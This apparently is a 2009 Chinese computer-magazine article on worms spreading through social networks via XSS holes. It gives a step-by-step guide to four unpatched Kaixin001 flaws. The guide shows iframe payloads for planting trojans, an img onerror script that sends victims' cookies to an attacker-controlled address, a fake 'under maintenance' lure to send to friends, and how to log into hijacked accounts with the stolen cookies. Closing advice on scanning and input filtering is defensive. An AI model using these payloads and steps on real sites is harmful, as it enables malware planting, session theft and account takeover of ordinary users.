当数年前冲击波蠕虫病毒在互联网上所制造破坏和恐惧,刚在中国网民的心中逐渐淡去的时候,从互联网当下最火爆的开心网、MySpace、校内网SNS社交网站不断袭来的蠕虫攻击却开始唤醒那部分尘封的记忆。在2009年过去的八个月中,几乎每个月都有社交网站爆发蠕虫攻击事件,网络安全专家将社交网站蠕虫比作个人隐私大盗,而且可能威胁到的不仅仅是个人隐私……
警告:蠕虫在蔓延!
8月25日,一个非常普通的星期二,然而在网络中的这一天,著名的中文SNS网络社区人人网却在经历一场与蠕虫的斗争。一个利用XSS跨站脚本漏洞进行传播的蠕虫正在伪装成为视频,疯狂快速的传播,而这距校内网更名称为人人网仅几天的时间。
这个脚本蠕虫病毒名为伪装在一个音乐视频中,并利用人人网的视频分享功能在用户之间疯狂传播。看似是一则普通Flash动画的视频文件中包含了一段恶意程序,一旦用户打开之后,内嵌在这则动画中的恶意网页会迅速在用户计算机中生成一个脚本程序,删除用户的网络日志,并开始盗用受害者的名义传播给他好友。
然而,这并非个案,早在4月份,拥有最多华人用户的IM软件QQ中的QZone空间就被黑客利用XSS脚本漏洞进行蠕虫散播,最终导致上万用户空间遭到袭击。而更早之前,百度空间也曾被黑客利用跨站脚本漏洞散播蠕虫病毒,近万名用户的百度空间成为了蠕虫的乐园。
这样的情况对于SNS社交网站来说才刚刚开始。进入2009年后透过SNS社交网站漏洞进行蠕虫传播开始越来越多,社交蠕虫几乎在以每月一个的速度诞生传播。不仅是数量上的增加,社交蠕虫也开始变得“贪婪”,蠕虫作者如今已经开始设定蠕虫在套取用户信息后向受害者的好友发送诈骗信息,企图获取钱财。
危机:开心网连爆漏洞!
在国内,依靠“争车位”、“朋友买卖”等几个简单的组件和病毒式的传播,开心网以一种不可思议的速度在各个办公室之间蔓延。借此Facebook引领的SNS社交网站也第一次真正地在中国的办公室一族当中获得追捧,成为了国内人气最热的SNS社交网站。
无疑,火爆的人气带来的是也有潜在的危险。
与百度空间、QZone一样,开心网早在今年年初就爆出过可被蠕虫利用的漏洞。不过,开心网仍然存在大量漏洞。本周,《电脑报》在第一时间收到多个开心网漏洞,而这些漏洞全是未公开,仅在黑客圈内部流传的0Day漏洞。
而这些漏洞之中,就存在能够被黑客利用编写社交蠕虫的高危漏洞。对于有经验的黑客,这个高危漏洞可以被他们很轻松地变成具有感染能力的社交网站蠕虫。只不过现在我们仍然无法知道,开心网是否能够及时的修补这些漏洞。
如果漏洞未能够及时修补,那么对于开心网所有的用户而言,这都是一个潜伏的定时炸弹。黑客可以通过编写蠕虫社交蠕虫感染至少数万名用户,获取到他们的个人信息、好友信息,这些信息足以构成一个环环相扣的人际关系网,黑客对于人际关系网又有多种利用方式,贩卖信息,诈骗,构造虚假身份等都可以实现。
这并不是一个悲观的推论,今年1月,美国居民布莱恩的朋友们从带有布莱恩照片的Facebook邮箱的电子邮件中读到,布莱恩出现了问题。在电子邮件中,布莱恩声称他遇到了大麻烦,需要朋友们的帮助。随后至少有一位朋友向他汇钱。然而事实上布莱恩并没有陷入麻烦,也不需要帮助,只是他的网站被网络犯罪分子利用了。
这只是一起针对社交网站Facebook的网络诈骗活动。
今年严重的MySpace蠕虫还导致了MySpace社交网站瘫痪数小时,许多用户反映因感染蠕虫,导致日志等文件被莫名其妙删除。
开心网的多个漏洞目前仍然存在,留给网站管理员修复的时间却要比黑客编写蠕虫的时间要少的多,黑客总会先一步网站掌握相关漏洞信息,这是一场速度与对抗的战争。
影响:被放大的蠕虫效应!
利用网站过滤不严,进行恶意的黑客攻击并不是一件新鲜事,但在没有开心网这样的SNS社区之前,利用跨站漏洞发动攻击的黑客最多是在知名网站的网页中挂木马,获取尽量多的肉鸡,或者是制造一串串的弹出窗口这种恶作剧式的玩笑。
SNS社交网站的出现改变了这一切。根据六度分隔理论的假设,世界上所有互不相识的人只需要很少中间人就能建立起联系,而平均只需六个人就可以联系任何两个互不相识的人。
在这个理论上发展处的SNS社交网站就是这样一个层层交织的社会关系网,当用户注册成为SNS社交网站用户的那一刻起,你就与社交网站中的好友建立了一种网状的联系,而这种的网状的联系会通过社区中的资源分享、小游戏等互动要素变得更加的紧密。这实际上是将原来分散的个人用户凝聚到了一起,并且是一个由交织网络的群体,而这个群体对于蠕虫传播而言是最理想的目标人群。
友情改变了一切。在SNS社交网站中不同,由于在SNS社交网站中的好友多数都是在网络之下相互认识的朋友,因此当黑客通过社交网站漏洞释放蠕虫病毒之后,同处在社交网站中的多数人会信任的打开自己好友发送来的短信或者分享的视频等信息,而此时每一个因为信任自己好友而打开带毒信息的人都加入了这条传播病毒的循环之中,成为了病毒的传播者。
从统计角度来看,物以类聚、人以群分。雅虎公司的研究人员几年前发现,如果一个人点击某条网上广告,他或她的聊天密友点击相同广告的几率是其他人的3倍或4倍。这个结论直接证明了朋友们乐于相互分享兴趣。而在SNS中,这成为了病毒传播的杀手锏。
这如同在人群密集处有一个传染性极强的流感患者,只需要很短的时间,通过人与人的接触,所有的人都会感染病毒。以前没有威力的跨站漏洞配合蠕虫在SNS社区中危险性被无限的放大了。
社区蠕虫能够造成的危害最终也可能超乎你的想象,通过SNS网络,一个蠕虫有可能获取你全部的好友圈信息,并冒充你发出各种诈骗信息。同样在SNS网络中,蠕虫还可以利用社会工程学,从你的好友那里骗取有关你的详细信息,让你的好友将这些信息发送到指定地点。而这些关键信息将有可能让黑客复制出你的一切,从身份证到信用卡,SNS蠕虫让社交网络变成一个危险未知的陷阱。
如今,各种各样的SNS网络在互联网这个大舞台上纵横交错,从交换信息到结交朋友,再到各取所好。我们也许从不会从安全角度衡量网络中的好友,但是对于病毒制造者而言,这种网络友情的价值将注定成为他们利用的最佳跳板,也注定SNS社交网站蠕虫将会有增无减。
对策:2.0时代的安全新规则
在国内著名安全机构“安天实验室”的安全专家眼中,目前威胁网络社区安全的并不是这些已知的蠕虫病毒,而是那些尚未发现或者已经被极少数黑客掌握的跨站漏洞。
跨站攻击方法自从诞生那天起没有受到足够的重视,对于Web1.0时代的网站来说,哪里出现问题修补哪里的灭火方式就可以足以防范这种漏洞。对黑客而言,在没有社交网站之前也没有理想的利用跨站漏洞攻击手段方,因此是不被人看好的鸡肋。
这直接造成了早期程序员不重视对于网站跨站漏洞的过滤检查。但当网站进入到Web 2.0时代的时候,那些以前不被重视的跨站被激活了,可以互动交互的模式激活了跨站成为蠕虫的特性,而网站此时却发现,自己并不知道还有什么地方存在XSS漏洞。
安天实验室监控显示,Web 2.0时代随着网站的交互性增强,跨站挂马、Cookie截获与Cookie追逐等以前不被视为高威胁或者安全威胁的技术已经开始变危险和泛滥。现今黑客已经开始利用社交网站蠕虫配合Cookie截获篡改获取用户密码好友圈等信息,Cookie截获配合跨站最终脱胎蜕变出了社区蠕虫。
面临这种威胁的并不只有社交网站,博客、微博等一系列的Web 2.0网站几乎都具有高度交互性,这些高度交互性的网站都存在蠕虫等新的安全隐患。因此制定Web 2.0时代的安全新规则将是未来应对网站新威胁的手段。
而作为个体,在新的蠕虫威胁面前,提高电脑的安全防护能力固然重要,同时也要提高安全知识的储备。每一个人都将是与社交蠕虫对抗的堡垒。希望看到,经过冲击波等网络病毒洗礼的网民,并不会因为曾经的记忆更加恐慌,而是能构筑起应对新安全威胁的网络防线,无论社交蠕虫是否真的会席卷网络,都能够正确地看待这次新安全威胁。
开心网漏洞解读
在这一次发现的开心网4个漏洞中,全部是因为网站过滤不严而导致。也正是因为这种过滤不严,而网站又由于结构复杂存在大量该类型的漏洞,让黑客可以借题发挥,通过和Cookie截获配合制造出能够引起严重后果的社交蠕虫。
目前,第一个漏洞出在群相册组件处,主要问题是iframe过滤不严;第二个漏洞出在音乐组件专辑名称处,主要问题是iframe也是过滤不严。
第三个漏洞出在音乐组件歌曲注释处,主要问题是iframe和img过滤不严。第四个漏洞出在音乐组件歌词处,主要问题是iframe、img、&#过滤不严,此处对输入的字符的长度没有限制,所以比较适合进行Cookie的窃取。漏洞的利用的代码是"><iframe src=http://www.baidu.com width=500 height=500></iframe>。
安全小百科:跨站漏洞就如同一个商场中没有保安和管理人员一样,在这样一个缺乏有效监管和审查的商场中,自然会有冒充商场人员的骗子混进来摆摊设点,而消费者则会将这些骗子误认为是商场的员工,被这些骗子骗了也会认为是被商场骗了,会将怒气发泄到商场身上。
四大开心网漏洞揭秘
群相册组件漏洞
漏洞危害:能用来挂马
漏洞原因:iframe过滤不严
漏洞状况:已通知修改
威胁指数:★★★★
漏洞利用:首先,制作一个网页木马。例如下载一款Flash 漏洞生成器,在“生成”中输入木马的地址(该木马已经上传到指定的网站空间中),点击“生成”按钮即可,再将生成的网页木马上传到指定的网站空间中。
然后,注册一个开心网账号,用账号登录后进入群相册,创建一个群相册专辑。在群相册专辑名称处输入代码<iframe src=http://www.baidu.com width=500 height=500></iframe>(图1),点击“确定”按钮,百度就被嵌入到开心网中了(图2)。
接在,将上述代码中的www.baidu.com替换为木马地址,将width(嵌入框架的宽)和height(嵌入框架的高)的值都设为0,就可以挂马了。最后等用户浏览相册或者四处宣传引诱用户浏览相册就可以了。开心网在此处做了代码的长度限制,无法抓取Cookie窃取用户信息。
音乐组件专辑名称漏洞
漏洞危害:能用来挂马
漏洞原因:iframe过滤不严
漏洞状况:已通知修改
威胁指数:★★★★
漏洞利用:在音乐组件中点击“创建新专辑”,在弹出的对话框中输入专辑名称处输入代码<iframe src=http://www.baidu.com width=500 height=500></iframe>(图3),点击“创建”按钮即可完成新专辑的创建。
点击新建的专辑名,进入播放界面后就会在左边弹出嵌入的百度页面(图4)。同理,如果我们把百度地址换成木马地址,将width和height的值都设为0就可以挂马了。最后等用户浏览音乐专辑或者四处宣传引诱用户浏览音乐专辑就可以了。
音乐组件歌曲注释漏洞
漏洞危害:能用来挂马
漏洞原因:iframe、img过滤不严
漏洞状况:已通知修改
威胁指数:★★
漏洞利用:首先,随便上传一首MP3歌曲。点击“音乐”,任意输入一个专辑名称,再点击“创建→上传歌曲”,在此处输入歌曲名称、类型等信息,点击“下一步→继续上传步骤→浏览”,选择一个音乐文件,点击“开始上传”。
然后在注释文本框中输入代码<iframe src=http://www.baidu.com width=500 height=500></iframe>(图5),点击“确定”按钮,百度出现在了开心网的歌词注释处(图6)。同理,把百度地址换成木马地址,将width和height的值都设为0就可以挂马了。最后四处宣传链接,引诱用户点击链接即可激活木马。
音乐组件歌词漏洞
漏洞危害:能用来挂马、窃取Cookie信息
漏洞原因:iframe、img、&#过滤不严
漏洞状况:已通知修改
威胁指数:★★★★★
第一步:进入补充歌词页面,在“LRC歌词”文本框中输入跨站代码<iframe src=http://www.baidu.com width=500 height=500></iframe>,点击“保存”按钮,再播放改音乐就可以看到百度了(图7)
第二步:准备好Cookie截取代码(网上下载),再创建一个名为Cookie.txt的纯文本文件,它的作用是记录已截取的Cookie信息。接下来将这两个文件上传到空间中,这时Cookie截取文件的地址就是http://www.yourname.com/Cookie.asp(yourname为实际域名地址)。
安全小百科:Cookie由服务器端生成,发送给浏览器,浏览器会将Cookie保存到某个目录下的文本文件内,下次请求同一网站时就发送该Cookie给服务器(前提是浏览器设置为启用Cookie)。Cookie名称和值可以由服务器端开发自己定义,这样服务器可以知道该用户是否合法用户以及是否需要重新登录等。
第三步:点击“修改歌曲信息 ”,在修改歌曲信息页面中的歌词处输入代码<img src="cj.gif"onerror="document.location='http://www.yourname.com/Cookie.aspCookie='+document.Cookie"/> (图8),点击“确定”按钮保存。
再点击歌曲右侧的“给好友点歌”,在弹出的点歌窗口中选择好友(图9),点击“确定”即可。当好友打开歌曲播放页面时,会跳出提示“开心网音乐组件正在维护中,给你带来的不便请谅解”(图10),此时他的Cookie信息已被截获(图11)。
安全小百科:要弹出提示窗口,需要把跨站代码转换成十进制输出(开心网过滤了script)。在网上随便找到一款代码转换器,将之前输入的代码转换为<IMG SRC=javascript:alert('开心网音乐组件正在维护中...给您带来的不便请谅解')>。
最后下载一款可以修改Cookie的浏览器,例如《Cookies浏览器》,打开开心网首页,在登录框处把我们刚刚截取到的Cookie替换到相应位置,然后点击“修改”就可以顺利登录好友的账号了(图12)。
我们的建议
相信开心网存在的XSS跨站漏洞不止我们上面了提到的这几个,如何才能查找到此类漏洞呢?除了手动对输入框逐一查找外,其实还有大量的XSS漏洞检测工具可供我们使用,如著名的XSS LFI File Disclosure Scanner、Paros 等,对全站页面结构进行扫描,极有可能发现新的安全漏洞。当然这类工具都是双刃剑,网站管理员可以用它来检测网站安全,黑客也可以用其找出网站漏洞实施攻击。
那么如何才能最大程度的避免出现此类漏洞呢?除了在网站建设初期加强对用户输入内容可靠性的限制管理外,还要做深入细致的检测,最基本的就是对有输入框页面的富文本输入进行代码测试,在测试过程中如页面有任何框架变形或脚本错误提示,即预示着此页面极有可能存在XSS跨站攻击漏洞。
此外,对带参数的链接也要进行参数替换测试,如我们之前报道的赶集网跨站漏洞就存在着对参数过滤不严的问题。同时,最好在网站开发的全程阶段,引入专业的黑盒与白盒测试工具,建立完善的富文本过滤层。相信做到上述这些后,定能极大的增强网站的安全性,做到滴水不漏。
(苗得雨 CJ也疯狂)
(本文已发表在最新一期《电脑报》)